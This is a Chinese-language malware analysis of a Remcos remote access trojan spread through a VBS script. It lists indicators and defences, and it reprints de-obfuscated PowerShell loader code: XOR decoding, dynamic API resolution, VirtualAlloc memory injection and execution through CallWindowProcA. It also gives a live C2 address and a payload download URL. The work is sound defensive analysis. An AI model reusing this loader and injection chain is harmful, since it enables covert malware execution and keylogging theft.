对vbs文件传播远程访问木马的粗浅分析
字数 2053 2025-08-22 18:37:22
Remcos远程访问木马分析及防御指南
一、Remcos木马概述
Remcos是一种功能强大的远程访问木马(RAT),自2016年在暗网黑客社区首次出售以来一直保持活跃状态。该恶意软件在全球恶意软件排名中位列第九,每月都会发布新版本,显示出其持续的开发和维护。
二、样本基本信息
2.1 文件信息
- 文件类型: VBS脚本文件
- 哈希值:
- MD5: 67E1E122A412C456946E5206247A92EB
- SHA1: 7262D0EBF405CE41C1000D6E3940099CDB0B8E4B
- SHA256: 68796E148BE21FCCE665281CE32941C6BE58028BEFB85B7789253DFDE8D9E68E
- C2服务器: 103.237.87.156:1993
2.2 感染流程
- 初始VBS脚本执行
- 调用wscript.exe执行恶意命令
- 启动PowerShell进行后续操作
三、技术分析
3.1 VBS脚本分析
初始VBS脚本会启动PowerShell执行混淆后的命令,主要功能包括:
' 示例VBS代码片段
Set objShell = CreateObject("WScript.Shell")
objShell.Run "powershell -command ""混淆的命令""", 0, True
3.2 PowerShell反混淆技术
攻击者使用了多层混淆技术来隐藏真实意图:
3.2.1 字符串提取函数
function fyrstendmme($input_string, $fightet) {
$breddesekunder = $input_string.Length - $fightet
$unblessed = ""
for ($standsforskellenes = 7; $standsforskellenes -lt $breddesekunder; $standsforskellenes += 8) {
$unblessed += $input_string.Substring($standsforskellenes, $fightet)
}
return $unblessed
}
对应的Python实现:
def fyrstendmme(input_string, fightet):
breddesekunder = len(input_string) - fightet
unblessed = ""
for standsforskellenes in range(7, breddesekunder, 8):
unblessed += input_string[standsforskellenes:standsforskellenes+fightet]
return unblessed
3.2.2 关键变量解密
解密后得到的关键信息:
- 用户代理字符串:
Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 - 下载URL:
http://103.237.86.247/Fremmeligste.xsn - 执行命令:
iex(Invoke-Expression) - 文件路径:
%appdata%\Dobbeltrudens140.Aff
3.3 网络通信行为
-
设置TLS 1.2安全协议:
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 -
创建WebClient对象下载恶意文件:
$global:Natskifte = New-Object System.Net.WebClient -
检查文件是否存在循环:
while(!$Kriminalistiske) { Start-Sleep 4 $global:Kriminalistiske = (Test-Path $Uhjlpeligste) }
3.4 内存操作技术
-
从Base64编码文件中提取特定内容:
$global:Spuming = [System.Convert]::FromBase64String($Trommesalsmaleri) $global:Journalnummeret = [System.Text.Encoding]::ASCII.GetString($Spuming) $global:Gennemsigtigt = $Journalnummeret.substring(302269, 28958) -
系统架构检测:
$global:Submission = ([IntPtr]::size -eq 8) # 检测是否为64位系统
3.5 高级混淆技术
3.5.1 异或解密函数
function Dorsiventral($Teters, $Bauxitite) {
return $Teters -bxor $Bauxitite
}
function reallnningers($Skabiosaernes, $Ugerningers=0){
$Tetersntitoksinet = 2
$global:Ripens = New-Object byte[]($Skabiosaernes.Length/2)
for($Episome=0; $Episome -lt $Skabiosaernes.Length; $Episome+=$Tetersntitoksinet){
$global:Ripens[$Episome/2] = [convert]::ToByte($Skabiosaernes.Substring($Episome,2),16)
$global:Ripens[$Episome/$Tetersntitoksinet] = Dorsiventral $global:Ripens[$Episome/$Tetersntitoksinet] 127
}
$global:Adgangsvejene = [String][System.Text.Encoding]::ASCII.GetString($global:Ripens)
if($Ugerningers){return $global:Adgangsvejene}else{return $global:Adgangsvejene}
}
对应的Python实现:
def dorsiventral(teters, bauxitite):
return teters ^ bauxitite
def reallnningers(skabiosaernes, ugerningers=0):
tetersntitoksinet = 2
ripens = bytearray(len(skabiosaernes) // 2)
for episome in range(0, len(skabiosaernes), tetersntitoksinet):
ripens[episome // 2] = int(skabiosaernes[episome:episome+2], 16)
ripens[episome // tetersntitoksinet] = dorsiventral(ripens[episome // tetersntitoksinet], 127)
adgangsvejene = ripens.decode('ascii')
if ugerningers:
return adgangsvejene
else:
return adgangsvejene
3.5.2 动态API调用
-
获取API地址:
function bunkevist($Electroretinograph, $Sljdlrernes) { $global:Hellebardists = [AppDomain]::CurrentDomain.GetAssemblies() $global:Unpregnant = ($Hellebardists | Where-Object {$_.Location.Split('\')[-1].Equals('System.dll')}).GetType('Microsoft.Win32.UnsafeNativeMethods') $global:Reupholsters = $Unpregnant.GetMethod('GetProcAddress', [Type[]]@([System.Runtime.InteropServices.HandleRef], [string])) return $Reupholsters.Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr), ($Unpregnant.GetMethod('GetModuleHandle'))).Invoke($null, @($Electroretinograph)))), $Sljdlrernes)) } -
动态委托创建:
function Enveloping([Parameter(Position=0)][Type[]]$Bauxititeagdelenes, [Parameter(Position=1)][Type]$Unblinking=[Void]) { $global:Laik = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate]) $Laik.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $Bauxititeagdelenes).SetImplementationFlags('Runtime, Managed') $Laik.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $Unblinking, $Bauxititeagdelenes).SetImplementationFlags('Runtime, Managed') return $Laik.CreateType() }
3.6 内存注入技术
-
使用VirtualAlloc分配内存:
$global:Influenzalignende8 = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((bunkevist kernel32 VirtualAlloc), (Enveloping @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr]))) -
内存保护修改:
$global:Afvendelsernes = $Influenzalignende8.Invoke($Socialrealismes, 30142464, $Weedage, $Splenetive) -
内存复制操作:
[System.Runtime.InteropServices.Marshal]::Copy($Spuming, $Socialrealismes, $tuberiform, 650) [System.Runtime.InteropServices.Marshal]::Copy($Spuming, 650, $Afvendelsernes, $Kyphosis) -
最终执行:
$global:Centralfyrets = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((bunkevist USER32 CallWindowProcA), (Enveloping @([IntPtr], [IntPtr], [IntPtr], [IntPtr], [IntPtr]) ([IntPtr]))) $Centralfyrets.Invoke($tuberiform, $Afvendelsernes, $Bauxititeasidiolichenes189, $Socialrealismes, $Socialrealismes)
四、恶意行为分析
4.1 下载器功能
- 从指定URL下载PDF文件
- 使用硬编码的Base64字符串作为DES密钥解密文件
- 将解密后的数据写入内存
4.2 内存操作
- 使用Umbdvs类中的Zvaanddn方法分配内存
- 关键API:
- VirtualAlloc: 分配内存
- EnumCalendarInfo: 枚举日历信息(可能用于反分析)
- VirtualProtect: 修改内存保护属性
4.3 键盘记录功能
- 生成logs.dat文件记录键盘输入
- 可能包含敏感信息如密码、账号等
4.4 持久化技术
- 在%appdata%目录下创建文件
- 可能通过注册表或启动项实现持久化
五、检测与防御措施
5.1 检测指标(IOC)
- 文件哈希(见2.1节)
- C2服务器: 103.237.87.156:1993
- 相关URL: http://103.237.86.247/Fremmeligste.xsn
- 文件路径: %appdata%\Dobbeltrudens140.Aff
5.2 防御建议
5.2.1 技术防护
-
脚本控制:
- 禁用或限制VBS和PowerShell脚本执行
- 启用脚本日志记录和监控
-
内存保护:
- 启用防漏洞利用保护(如Windows Defender Exploit Guard)
- 监控可疑的内存分配操作
-
网络防护:
- 阻止与已知C2服务器的通信
- 监控异常出站连接
-
行为监控:
- 检测PowerShell的异常使用模式
- 监控Base64解码和内存修改操作
5.2.2 管理措施
- 定期更新安全补丁
- 限制管理员权限使用
- 实施应用程序白名单
- 开展安全意识培训
5.3 应急响应
- 隔离受感染系统
- 收集内存转储和日志进行分析
- 重置可能泄露的凭据
- 全面扫描系统清除残留
六、分析工具推荐
-
静态分析:
- IDA Pro/Ghidra: 逆向分析二进制文件
- PowerShell ISE: 分析PowerShell脚本
- CyberChef: 解码混淆数据
-
动态分析:
- ProcMon: 监控进程行为
- Wireshark: 分析网络流量
- Process Hacker: 检查内存操作
-
专业沙箱:
- Cuckoo Sandbox
- Joe Sandbox
- Hybrid Analysis
七、总结
Remcos木马通过高度混淆的VBS和PowerShell脚本实现初始入侵,利用多种反分析技术和内存注入技术实现隐蔽执行。攻击者精心设计了多层混淆和加密机制来绕过传统安全检测。防御此类威胁需要多层防护策略,重点关注脚本控制、内存保护和行为监控。